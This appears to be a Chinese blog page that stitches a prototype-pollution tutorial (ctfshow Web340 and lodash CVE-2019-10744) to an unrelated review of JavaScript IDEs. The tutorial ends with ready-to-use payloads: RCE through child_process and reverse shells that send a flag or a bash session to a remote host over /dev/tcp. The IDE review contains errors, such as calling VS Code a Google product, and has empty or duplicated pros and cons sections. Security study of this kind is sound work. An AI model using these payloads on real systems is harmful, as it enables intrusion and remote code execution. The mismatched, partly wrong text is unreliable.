0>原型及其搜索机制
我们创建的每个函数都有一个原型(prototype)属性,这个属性是一个指针,指向一个对象,
该对象的目的是包含可由特定类型的所有实例共享的属性和技巧
设计原型的初衷无非就是对于每一个实例对象来说,它都有一个共同的属性。 不需要为每个对象实例分配一块显存来存储该属性。 并且可以提升到所有对象都共享这个属性,并且这个属性的实体在显存中只有一份副本。
原型机制正好满足了这些需求。
打个不恰当的比喻javascript的内置对象,对于每个对象来说,都有它的原型对象作为共享仓库,共享仓库里有用于每个对象实例生产的属性和方法
1>原型链和继承
原型链是在原型上实现继承的一种方式
例如:
function Father(){
this.name = "father";
this.age = 66;
}
function Son(){
this.name = "son";
}
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}
null
*/
整个原型继承链如下:
1)搜索当前实例属性
2)搜索当前实例的原型属性
3)迭代搜索直到null
在前面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66
*/
2> 内置对象的原型
这也是多级原型链污染的基础
拍一张业内非常经典的照片看看
2. 借助1>带有原型污染的RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')
2>多级污染
ctfshow Web340中有这样一个问题:
/* login.js */
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
由于Function原型对象的原型也是Object的原型,即
用户 --(__proto__)--> Function.prototype --(__proto__)-->Object.prototype
那么就可以通过这个进行多级污染,payload如下:
{
"__proto__":{
"__proto__":{
attack_code
}
}
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例复现CVE)
lodash 版本 < 4.17.12
CVE-2019-10744:低版本的lodash.defaultDeep函数中,Object对象可以被原型链污染,可以配合其他漏洞。
看一下官方示例PoC的调试过程:
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
function check() {
lodash.defaultsDeep({}, JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
开始调试:
在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。
所以主要逻辑是,并且这个匿名函数也将是func函数的函数体
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);
查看休息
变量窃听中可以发现传入的参数被整合成一个参数对象args
继续向下返回申请
应用后,step in,使用switch,以参数个数为依据
发现使用了call,这可能是原型链继承的一个有用点。
(这些技术称为借用构造函数,其思想是通过在泛型构造函数中调用超类构造函数来完成原型链继承)
function Super(){}
function Sub(){
Super.call(this); // 继承
}
然后apply返回到刚才的匿名函数体(此时刚刚执行了baseRest(func))javascript的内置对象,其中customDefaultMerge是merge的声明形式
继续深入,我们可以看到apply(func=mergeWith, thisArg=undefined, args=Array[4])
根据start的估计机制不难知道,undefined是作为占位符使用的,从而使start向后连接
继续调试。 在NodeJS中,在普通函数中调用this相当于调用全局对象global
分配者可以看作是合并的一个黑匣子功能,至此原型链污染就完成了。
问题:我注意到 lodash.defaultsDeep({}, JSON.parse(payload)); 在 PoC 中需要首先传入一个对象实例(此处为 {})
那么我们来详细分析一下合并过程(看看Assigner的一些底层实现)
注意:一般来说,合并需要考虑深拷贝的问题
/*baseMerge*/
function baseMerge(object, source, srcIndex, customizer, stack) {
if (object === source) { // 优化判断是否为同一对象,是则直接返回
return;
}
// 遍历source的属性,选择深浅复制
baseFor(source, function(srcValue, key) {
if (isObject(srcValue)) {
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
}
else {
var newValue = customizer
? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
: undefined;
if (newValue === undefined) {
newValue = srcValue;
}
assignMergeValue(object, key, newValue);
}
}, keysIn);
}
var baseFor = createBaseFor();
function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历
return function(object, iteratee, keysFunc) {
var index = -1,
iterable = Object(object),
props = keysFunc(object),
length = props.length;
while (length--) {
var key = props[fromRight ? length : ++index];
if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数
break;
}
}
return object;
};
}
那我再调试一下。 在iteratee中(即匿名函数中),如果是对象,则选择深拷贝。
原来4.17.12之前的版本也有waf,但是比较弱。
回到题外话,定制器之后,合并就形成了
因此,为了更好地观察,我将 {} 替换为 [] (数组对象实例)
这里开始调试并介入,发现这是一个迭代的合并过程,首先判断它们是否都是对象。 如果是这样,浅拷贝合并将在压入堆栈后开始。
这是生成属性时需要设置的四个数据属性
回到题外话,发现只能写Array的原型
再次验证
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
var object = new Object();
function check() {
// JSON.parse(payload)之后是一个JS对象
lodash.defaultsDeep([],JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
console.log(Array.prototype);
所以需要直接传入一个Object的实例。
官方补丁,直接进入waf:检测JSON中payload中的key值
这里是和lodash4.17.12之前的版本对比,key值过滤更严格
总而言之,CVE-2019-10744 可用的有效负载
# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c "echo $FLAG>/dev/tcp/vps/port "')//"}}}
# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}
# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/vps/port 0>&1"');var __tmp2"}}
3. 参考文献和链接
1.《JavaScript高级编程语言》
2.
3.ctfshow平台专题
4.CVE-2019-10744 WAF:
5.%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93/
征集原稿
征集原创技术文章,欢迎发帖
提交邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
如果通过初审并发布,可以获得200-800元不等的稿费。
“这是我参加11月更新挑战赛的第14天,活动详情请查看:2021最后更新挑战赛。”
作为WEB的核心语言之一,如果没有JavaScript,互联网将会完全不同。 JavaScript 是一种用于后端和前端 Web 开发的中级编程语言。 JavaScript 可用于创建动态 Web 内容和应用程序。
在本文中,我们将分享 2022 年 10 个最佳 JavaScript IDE 以及代码编辑器的剖析。 虽然 Adobe 的开源代码编辑器 Brackets 将在 2021 年不再更新,但仍有大量应用程序可以帮助 JavaScript 开发人员简化工作流程。
什么是 IDE 和代码编辑器?
IDE 是一种集成开发环境,为代码开发、测试和调试功能提供用户界面。 它有助于组织与软件应用程序源代码相关的项目工件。 它提供的工具和功能可简化开发并标准化开发人员编写代码的编程语言。
IDE 通常比代码编辑器具有更多的功能,但可以自定义单个代码编辑器以使其具有与 IDE 类似的功能。 代码编辑器通常具有语法突出显示、自动完成和大括号匹配等功能。
IDE 将多个开发人员工具组合在一个图形用户界面中,这些工具通常至少包含代码编辑器、编译器或类库以及调试器。
该 IDE 具有一些共同的功能,如下所示:
为什么需要 IDE?
为程序员提供软件开发的包容性设计,以下几点解释了为什么在应用程序开发中应该使用 IDE:
1. Visual Studio代码(CE)
Visual Studio Code(VS Code)是 Google 开发的免费代码编辑器。 作为一个代码编辑器,它缺乏外部工具和测试能力。 但是,这些功能可以通过插件和扩展来安装。 VS Code 拥有庞大的社区和强大的技术支持。
VS Code有一个对应的IDE,Visual Studio。 Visual Studio 尤其被称为 C、C++ 和 C Sharp 的 IDE。 然而,它不是免费的,JavaScript 开发新手可能会发现它不必要地复杂。 只要你不介意安装插件来扩展 VS Code 的功能,你就能感觉到 VS Code 为 JavaScript 开发提供了足够的功能。 越来越多的程序员选择使用VS Code,强大的插件和扩展可以完成很多事情。
优势:
支持 JavaScript 框架javascript程序设计,包括 React 和 Node.js 功能包括代码折叠、git 集成、调试和 IntelliSense(Microsoft 的代码完成实现) 屏幕阅读器辅助功能
缺点:
价格:免费。
2.WebStorm(IDE)
WebStorm 是一个专用于 JavaScript 和 TypeScript 的集成开发环境。 许多Web开发人员使用WebStorm进行前端和后端开发。 WebStorm 是 JetBrains 的产品,支持 Node.js、Angular.js 和 React 等 JavaScript 框架。 其功能包括 GitHub 集成、智能手动完成以及跨所有项目文件构建代码。
优点缺点:
价格:个人用户每月 12.90 美元。 免费版本可供中学生和非商业开源项目使用。
3.Sublime Text(CE)
Sublime Text 是一个用于编程和标记语言的源代码编辑器。 许多开发人员被 Sublime Text 所吸引,因为它的速度和多功能性。 它是一个高度可定制的代码编辑器,具有大量用户创建的插件包可供选择。
优点缺点:
价格:个人用户每年 99 美元。 也可以免费使用,但是会经常弹出提示。
4.原子(CE)
Atom 是 GitHub 的免费开源代码编辑器,具有智能代码完成和内置包管理器等默认功能。 它被称为“可破解”文本编辑器,并且可以通过插件进行高度定制。
Atom 基于 Electron 框架,非常适合使用 Chromium 和 Node.js 构建跨平台桌面应用程序。
Atom 以其简单的用户界面和可定制性而闻名,但另一方面,许多用户遇到错误、冻结和崩溃。 这是一个较大的应用程序,如果机器较弱,速度可能会减慢。
优点:5.IntelliJ IDEA Ultimate (IDE)
IntelliJ IDEA Ultimate 是一个以 Java 为中心的 IDE,在 JavaScript 开发中也很受欢迎。 当 IntelliJ 于 2001 年首次发布时javascript程序设计,它是最早集成代码导航和代码构建等功能的 Java IDE 之一。 幸运的是,IntelliJ 如今拥有更多功能,包括编码帮助和对 Node.js 等 JavaScript 框架的支持。
IntelliJ 是 JetBrains 的产品。 如果选择IntelliJ,需要一定的时间来适应,而且普遍感觉它的学习曲线非常陡峭。 IntelliJ 有一个免费且开源的对应产品:IntelliJ IDEA Community,但不幸的是它不支持 JavaScript。
优点缺点:
价格:个人用户每月 49.90 美元。
6.Komodo Edit(CE)和Komodo IDE
ActiveState 开发的 Komodo Edit 和 Komodo IDE 是动态编程语言的应用程序。 Komodo Edit 是一个免费的开源代码编辑器。 其商业版本Komodo IDE是一个具有扩展功能的IDE。 Komodo IDE 现在作为 ActiveState 平台的一部分免费。
初学者可能会发现 Komodo Edit 更容易上手,因为一些用户报告 Komodo IDE 的学习曲线很陡峭。 Komodo Edit 提供外部 FTP 客户端、自动完成、代码折叠和智能句子突出显示。 Komodo IDE 保留了更多中级功能,例如调试和单元测试。 两者都可以使用插件和宏进行自定义。
优点缺点:
价格:Komodo Edit 是免费的。 Komodo IDE 作为开源 ActiveState 平台的一部分是免费的。
7.NetBeans(IDE)
NetBeans 是 Java 程序员熟知的免费 IDE。 尽管 NetBeans 最常用于 Java,但它支持多种语言,包括 JavaScript、HTML5 和 CSS3。 NetBeans JavaScript 编辑器具有句子突出显示和手动完成功能,以及开箱即用的 jQuery 支持。 NetBeans 支持 JavaScript 框架,例如 Angular、Express、Vue、React 和 Mocha。
许多程序员喜欢 NetBeans,因为它具有直观且可自定义的界面,并且具有许多开箱即用的功能,因此您可以在安装后立即开始运行。 然而,NetBeans 是出了名的资源密集型。 它可能无法在低端笔记本电脑上顺利运行。
优点缺点:
价格:免费。
8.Eclipse(IDE)
Eclipse 是一款开源 IDE,于 2004 年首次发布。它的重点是 Java 开发,但也支持 JavaScript 和其他编程语言。 Eclipse 有一个基础工作区,可以使用插件进行自定义以扩展功能。 因此,需要考虑额外的安装时间,例如需要安装JavaScript开发工具。
优点缺点:
价格:免费。
缺点:
价格:免费。
9.记事本++(CE)
Notepad++ 是一款面向 Windows 用户的免费源代码编辑器。 这是一款特别轻量级的应用程序,非常适合设备尺寸有限的用户。 它具有开箱即用的功能,例如代码折叠和句子突出显示,并且还支持宏和插件以进行额外的自定义。
优点缺点:
价格:免费。
综上所述
虽然代码编辑器包罗万象,但是作为一名程序员,代码编辑器就是神器,适合自己的才是最好的!